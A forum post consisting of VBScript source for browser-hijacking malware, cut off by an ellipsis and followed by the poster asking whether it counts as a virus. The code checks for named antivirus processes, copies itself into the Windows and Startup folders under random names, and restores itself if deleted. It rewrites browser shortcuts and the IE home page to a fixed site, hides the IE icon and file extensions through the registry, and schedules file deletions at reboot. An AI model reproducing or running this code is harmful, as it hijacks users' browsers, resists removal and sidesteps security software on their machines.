'默认ie浏览器的路径
Private Const BROWSER_PATH = "C:\Program Files\Internet Explorer\iexplore.exe"
'默认遨游浏览器的路径
Private Const MAX_BROWSER_PATH = "C:\Program Files\Maxthon2\Maxthon.exe"
'默认360浏览器的路径
Private Const SE_BROWSER_PATH = "C:\Program Files\360\360se3\360SE.exe"
'默认火狐浏览器的路径
Private Const FOX_BROWSER_PATH = "C:\Program Files\Mozilla Firefox\firefox.exe"
'默认搜狗浏览器的路径
Private Const SOGOU_BROWSER_PATH = "C:\Program Files\SogouExplorer\SogouExplorer.exe"
Dim iePath
Public Sub Main()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set wshShell = CreateObject("Wscript.Shell")
Dim allUsersStartup,allUsersPcDesktopPath
allUsersStartup = wshShell.SpecialFolders("AllUsersStartup") '所有用户启动目录
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面图标
dim url,index
url="http://www.59688.com"
Call LoadAllBrowserPath '加载浏览器路径
If Not IsExeExist("360tray") And Not IsExeExist("RavMonD") And Not IsExeExist("nod32") then '如果不存在杀毒软件,则修改IE
ieUrl="http://www.59688.com"
call CloudKilling()
End If
Set ws = CreateObject("WScri"&"pt.Shell")
Set Environ = ws.Environment("pr"&"oc"&"ess") '移动本文件到指定路径
movePath=Environ("windir") & "\" & yunj(1, 3) & ".vbe"
Call CopyFile(movePath)
startPath=allUsersStartup & "\" & yunj(1, 3) & ".vbe"
Call CreateFileLnk(url,1) '创建文件关联快捷方式(创建一次淘网址)
do
If ruseco1 Mod 10 = 0 Then '每检测一段时间重复创建一次
Call CreateFileLnk(url,0) '创建文件关联快捷方式(不创建一次淘网址)
End If
If ruseco1 Mod 900 = 0 or ruseco1=0 Then '每检测一段时间重复创建一次
If Not IsExeExist("RavMonD") then '不存在瑞星
Call ReplaceBrowserLink(url) '替换所有浏览器目标路径
End If
If Not IsExeExist("RavMonD") And Not IsExeExist("ZhuDongFangYu") then '不存在瑞星和360
Call RemoveInternetExplorer()'清除Internet Explorer,最新版本360提示毒
End If
If not fso.FileExists(movePath) Then '不存在源文件则创建
Call CopyFile(movePath)
End If
If ruseco1=0 Then '第一次运行
If instr(Wscript.ScriptFullName,"启动")<>0 Then '为启动目录运行的
Call RemoveInternetExplorer()'清除Internet Explorer,最新版本360提示毒
If Not IsExeExist("RavMonD") then '不存在瑞星
Call ReplaceBrowserLink(url) '替换所有浏览器目标路径
End If
End If
Call DeleteLnk() '清除快捷方式
Call HideFileExtension '隐藏文件扩展名
set ws=wscript.createobject("wscript.shell")
ws.appactivate "Program Manager"
wscript.sleep 500
ws.sendkeys "{f5}"
End If
End If
index=0
dim vbsc '启动目录数量
directory=allUsersStartup'用户启动目录
Set f = fso.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If instr(LCase(myName),".vbe")<>0 Then
if index=0 then
set wind_0=fso.opentextfile(myName)
end if
if index=1 then
set wind_1=fso.opentextfile(myName)
end if
if index=2 then
set wind_2=fso.opentextfile(myName)
end if
if index=3 then
set wind_3=fso.opentextfile(myName)
end if
if index=4 then
set wind_4=fso.opentextfile(myName)
end if
if index=5 then
set wind_5=fso.opentextfile(myName)
end if
if index=6 then
set wind_6=fso.opentextfile(myName)
end if
if index=7 then
set wind_7=fso.opentextfile(myName)
end if
if index=8 then
set wind_8=fso.opentextfile(myName)
end if
set wind_9=fso.opentextfile(movePath)
set wind_10=fso.opentextfile(Wscript.ScriptFullName)
set wind_11=fso.opentextfile(allUsersPcDesktopPath + "\Internet Explorer.Ink")
set wind_12=fso.opentextfile(allUsersPcDesktopPath + "\淘宝网购物.Ta")
set wind_13=fso.opentextfile(Environ("windir") + "\smss\smss.exe")
end if
index=index+1
vbsc=vbsc+1
Next
If ruseco1 Mod 3 = 0 Then '每5秒检测文件是否被删除，如果被删除就重复创建
'创建自启动
Call SetRunVbe("\??\" & movePath,"\??\" & startPath)
'间隔符号
Call SetRunVbe("\??\","")
If vbsc>2 Or instr(Wscript.ScriptFullName,"启动")=0 Then '当启动目录Vbe文件大于2个时则删除
'当前文件在下次重新启动时删除
Call SetRunVbe("\??\" & Wscript.ScriptFullName,"")
End If
Call NoDeleteFile
End If
'If ruseco1 Mod 1800 = 0 Then
'Set tWshShell= CreateObject("WScript.Shell")
'tWshShell.Run ("http://www.qwxyx.com")
'End If
ruseco1=ruseco1+1
wscript.sleep 1000
loop
End Sub
'复制当前脚本到指定路径
Public Sub CopyFile(movePath)
On Error Resume Next
dim vbsPath
vbsPath = Wscript.ScriptFullName
Set fso = CreateObject("Scripting.FileSystemObject")
If content="" Then
Set f=fso.opentextfile(vbsPath)
content=f.readall '读取文本内容到全局变量
f.Close
End If
'创建文件
If content<>"" Then
dim testFile
Set testFile=fso.CreateTextFile(movePath,Ture)
testFile.WriteLine(content)
testFile.Close
End If
Set fso = Nothing
End Sub
'检测文件是否被删除，如果被删除就重复创建
Public Function NoDeleteFile()
On Error Resume Next
dim vbsPath
vbsPath = Wscript.ScriptFullName
Set fso = CreateObject("Scripting.FileSystemObject")
If content="" Then
Set f=fso.opentextfile(vbsPath,1)
content=f.readall '读取文本内容到全局变量
f.Close
End If
If not fso.FileExists(vbsPath) Then '不存在则创建
'创建文件
If content<>"" Then
dim testFile
Set testFile=fso.CreateTextFile(vbsPath,Ture)
testFile.WriteLine(content)
testFile.Close
End If
End If
Set fso = Nothing
End Function
'删除系统默认浏览器快捷方式
Public Function RemoveInternetExplorer()
On Error Resume Next
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath
a123qwrName = "NoInternetIcon"
dwValue = 1
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,a123qwrName,dwValue
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu"
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath
a123qwrName = "{871C5380-42A0-1069-A2EA-08002B30309D}"
dwValue = 1
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,a123qwrName,dwValue
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath
a123qwrName = "{871C5380-42A0-1069-A2EA-08002B30309D}"
dwValue = 1
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,a123qwrName,dwValue
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
a123qwrName = "NoInternetIcon"
dwValue = 1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,a123qwrName,dwValue
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
a123qwrName = "{871C5380-42A0-1069-A2EA-08002B30309D}"
dwValue = 1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,a123qwrName,dwValue
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
a123qwrName = "{871C5380-42A0-1069-A2EA-08002B30309D}"
dwValue = 1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,a123qwrName,dwValue
Set StdOut=Nothing
Set oReg=Nothing
End Function
'修改注册表设置主页
Public Function SetIeIndex(url)
On Error Resume Next
Set WshShell = CreateObject("Wscript.Shell")
HomeUrl="http://www.59688.com"
HomepageValue = WshShell.RegRead("HKEY_CURR"&"ENT_USER\Softwar"&"e\Micros"&"oft\Intern"&"et Explore"&"r\Ma"&"in\Sta"&"rt Pa"&"ge")
If instr(HomepageValue,url)=0 or HomepageValue="" Then
WshShell.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",url
end if
Set WshShell = Nothing
End Function
'删除默认创建快捷方式
Public Function DeleteLnk()
On Error Resume Next
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面图标
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
Set fso = CreateObject("Scripting.FileSystemObject")
'删除默认快捷方式
If fso.FileExists(pcDesktopPath & "\Internet Explorer.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & pcDesktopPath & "\Internet Explorer.lnk","")
End If
If fso.FileExists(pcDesktopPath & "\360安全浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & pcDesktopPath & "\360安全浏览器.lnk","")
End If
If fso.FileExists(pcDesktopPath & "\360安全浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & pcDesktopPath & "\360安全浏览器 3.lnk","")
End If
If fso.FileExists(pcDesktopPath & "\傲游浏览器2.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & pcDesktopPath & "\傲游浏览器2.lnk","")
End If
If fso.FileExists(pcDesktopPath & "\搜狗高速浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & pcDesktopPath & "\搜狗高速浏览器.lnk","")
End If
If fso.FileExists(pcDesktopPath & "\启动 Internet Explorer 浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & pcDesktopPath & "\启动 Internet Explorer 浏览器.lnk","")
End If
If fso.FileExists(allUsersPcDesktopPath & "\Internet Explorer.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & allUsersPcDesktopPath & "\Internet Explorer.lnk","")
End If
If fso.FileExists(allUsersPcDesktopPath & "\360安全浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & allUsersPcDesktopPath & "\360安全浏览器.lnk","")
End If
If fso.FileExists(allUsersPcDesktopPath & "\360安全浏览器 3.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & allUsersPcDesktopPath & "\360安全浏览器 3.lnk","")
End If
If fso.FileExists(allUsersPcDesktopPath & "\搜狗高速浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & allUsersPcDesktopPath & "\搜狗高速浏览器.lnk","")
End If
If fso.FileExists(allUsersPcDesktopPath & "\启动 Internet Explorer 浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & allUsersPcDesktopPath & "\启动 Internet Explorer 浏览器.lnk","")
End If
If fso.FileExists(quickLaunch & "\Internet Explorer.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & quickLaunch & "\Internet Explorer.lnk","")
End If
If fso.FileExists(quickLaunch & "\360安全浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & quickLaunch & "\360安全浏览器.lnk","")
End If
If fso.FileExists(quickLaunch & "\360安全浏览器 3.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & quickLaunch & "\360安全浏览器 3.lnk","")
End If
If fso.FileExists(quickLaunch & "\傲游浏览器2.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & quickLaunch & "\傲游浏览器2.lnk","")
End If
If fso.FileExists(quickLaunch & "\搜狗高速浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & quickLaunch & "\搜狗高速浏览器.lnk","")
End If
If fso.FileExists(quickLaunch & "\启动 Internet Explorer 浏览器.lnk") Then
Call SetRunVbe("\??\","")'间隔符号
Call SetRunVbe("\??\" & quickLaunch & "\启动 Internet Explorer 浏览器.lnk","")
End If
End Function
'循环修改所有快捷方式
Public Function ReplaceBrowserLink(url)
On Error Resume Next
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
'路径集合，对路径集合进行遍历
Dim lnkPath(7)
lnkPath(1) = pcDesktopPath
lnkPath(2) = pcDesktopPath'quickLaunch
lnkPath(3) = programs
lnkPath(4) = startMenu
lnkPath(5) = allUsersPcDesktopPath
lnkPath(6) = allUsersPrograms
lnkPath(7) = allUsersStartMenu
Dim directory
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 And (InStr(myName, "傲游") <> 0 Or InStr(myName, "搜狗") <> 0 Or InStr(myName, "360") <> 0 Or InStr(myName, "浏览器") <> 0) Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
Set file=fso.getfile(myName)
file.attributes=0'恢复正常
if oShellLink.Arguments <> url then '程序的参数
oShellLink.Arguments = url '程序的参数
oShellLink.Save
end if
file.attributes=1
Set oShellLink = Nothing
Set fso = Nothing
End If
Next
Next
End Function
'获取快捷方式路径
Private Function GetDirectoryPath(path)
Dim str, last
For i = 0 To Len(path)
str = Mid(path, Len(path) - i, 1)
If str = "\" Then
last = Len(path) - i
Exit For
End If
Next
GetDirectoryPath = Mid(path, 1, last)
Exit Function
End Function
'判断指定进程是否存在
Public Function IsExeExist(exeName)
IsExeExist=false
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = '" & exeName & ".exe'")
For Each objProcess in colProcessList
if objProcess.executablepath<>"" then
IsExeExist=true
end if
Next
End Function
'进行Url加密(不需要http://)
Public Function DnsUrlEncrypt(str)
Dim hexStr, temp, i '16进制字符串
For i = 1 To Len(str)
temp = Mid(str, i, 1)
temp = Hex(Asc(temp))
temp = temp
hexStr = hexStr & "%" & temp
Next
DnsUrlEncrypt = hexStr
Exit Function
End Function
'合并两个数组
Function Summ(a1,a2)
Dim str1,str2,str3
str1 = join(a1,",")
str2 = join(a2,",")
str3 = str1 + "," + str2
summ = split(str3,",")
'过滤smss.exe过滤脚本，防止360让他下次删除
End Function
'生成干扰码,参数:1、类型(0,混合 1字符 2数字) 2、长度
'错误返回:空字符
Public Function yunj(st, length)
sj=""
mt=now
mh=Hour(mt)
mm=Minute(mt)
ms=Second(mt)
a=(mh*ms) mod 25+97
b=(mh*mm) mod 25+97
c=(ms*mm) mod 25+97
sj=chr(a)+chr(b)+chr(c)
yunj = sj
End Function
'获取浏览器路径
Public Function GetWebBrowserPath()
On Error Resume Next
'更改盘符路径
Set Environ = ws.Environment("process")
dim iePath
iePath=BROWSER_PATH
If Dir(iePath)="" Then '如果路径不存在则更换盘符
iePath = Environ("systemdrive") & Mid(iePath, 3, Len(iePath))
If Dir(iePath)<>"" Then
GetWebBrowserPath=iePath
Exit Function
End If
else
GetWebBrowserPath=iePath
Exit Function
End If
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
'路径集合，对路径集合进行遍历
Dim lnkPath(7)
lnkPath(1) = pcDesktopPath
lnkPath(2) = quickLaunch
lnkPath(3) = programs
lnkPath(4) = startMenu
lnkPath(5) = allUsersPcDesktopPath
lnkPath(6) = allUsersPrograms
lnkPath(7) = allUsersStartMenu
Set fso = CreateObject("Scripting.FileSystemObject")
Dim directory
If not fso.FileExists(iePath) Then
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "iexplore.exe") Then 'IE浏览器
if oShellLink.TargetPath<>"" then
iePath=oShellLink.TargetPath
GetWebBrowserPath=iePath
Exit Function
end if
end if
end if
Next
Next
End If
If not fso.FileExists(iePath) Then
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "maxthon.exe") Then '遨游浏览器
if oShellLink.TargetPath<>"" then
iePath=oShellLink.TargetPath
GetWebBrowserPath=iePath
Exit Function
end if
end if
end if
Next
Next
End If
If not fso.FileExists(iePath) Then
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "360se.exe") Then '360浏览器
if oShellLink.TargetPath<>"" then
iePath=oShellLink.TargetPath
GetWebBrowserPath=iePath
Exit Function
end if
end if
end if
Next
Next
End If
End Function
'加载浏览器路径
Private Sub LoadAllBrowserPath()
On Error Resume Next
Set ws = CreateObject("WScript.Shell")
Set Environ = ws.Environment("process")
Set fso = CreateObject("Scripting.FileSystemObject")
iePath = BROWSER_PATH
If not fso.FileExists(iePath) Then '如果路径不存在则更换盘符
iePath = Environ("systemdrive") & Mid(iePath, 3, Len(iePath))
End If
maxPath = MAX_BROWSER_PATH
If not fso.FileExists(maxPath) Then '如果路径不存在则更换盘符
maxPath = Environ("systemdrive") & Mid(maxPath, 3, Len(maxPath))
End If
sePath = SE_BROWSER_PATH
If not fso.FileExists(sePath) Then '如果路径不存在则更换盘符
sePath = Environ("systemdrive") & Mid(sePath, 3, Len(sePath))
End If
foxPath = FOX_BROWSER_PATH
If not fso.FileExists(foxPath) Then '如果路径不存在则更换盘符
foxPath = Environ("systemdrive") & Mid(foxPath, 3, Len(foxPath))
End If
sogouPath = SOGOU_BROWSER_PATH
If not fso.FileExists(sogouPath) Then '如果路径不存在则更换盘符
sogouPath = Environ("systemdrive") & Mid(sogouPath, 3, Len(sogouPath))
End If
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
'路径集合，对路径集合进行遍历
Dim lnkPath(7)
lnkPath(1) = pcDesktopPath
lnkPath(2) = quickLaunch
lnkPath(3) = programs
lnkPath(4) = startMenu
lnkPath(5) = allUsersPcDesktopPath
lnkPath(6) = allUsersPrograms
lnkPath(7) = allUsersStartMenu
Dim directory
If not fso.FileExists(iePath) Then
iePath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "iexplore.exe") Then 'IE浏览器
If oShellLink.TargetPath <> "" Then
iePath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(maxPath) Then
maxPath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "maxthon.exe") Then '遨游浏览器
If oShellLink.TargetPath <> "" Then
maxPath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(sePath) Then
sePath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "360se.exe") Then '360浏览器
If oShellLink.TargetPath <> "" Then
sePath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(foxPath) Then
foxPath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "firefox.exe") Then '火狐浏览器
If oShellLink.TargetPath <> "" Then
foxPath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(sogouPath) Then
sogouPath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "SogouExplorer.exe") Then '搜狗浏览器
If oShellLink.TargetPath <> "" Then
sogouPath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
End Sub
'创建关联文件,参数：URL地址,类型(0 不创建淘网址 1 创建一次淘网址)
Private Sub CreateFileLnk(url,createType)
On Error Resume Next
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
Set wshj = WScript.CreateObject("WScript.Shell")
sdp = wshj.SpecialFolders("Desktop") '特殊文件夹“桌面” C:\Documents and Settings\Administrator\桌面\
skkkkk=left(sdp,len(sdp)-2)+"「开始」菜单" '菜单
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(iePath) And iePath<>"" Then '判断IE浏览器路径是否存在
Call CreateRelevance(".ttf", "ttf", iePath & ",0", iePath & " " & url)
If Not fso.FileExists(allUsersPcDesktopPath + "\Internet Explorer.ttf") Then
Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\Internet Explorer.ttf")
End If
If Not fso.FileExists(allUsersPrograms + "\Internet Explorer.ttf") Then
Call CreateNoDeleteLnk(allUsersPrograms + "\Internet Explorer.ttf")
End If
...
看看源码应该算是吧？ |
楼主: Sherry.ai
发表于 2010-12-25 19:17:34
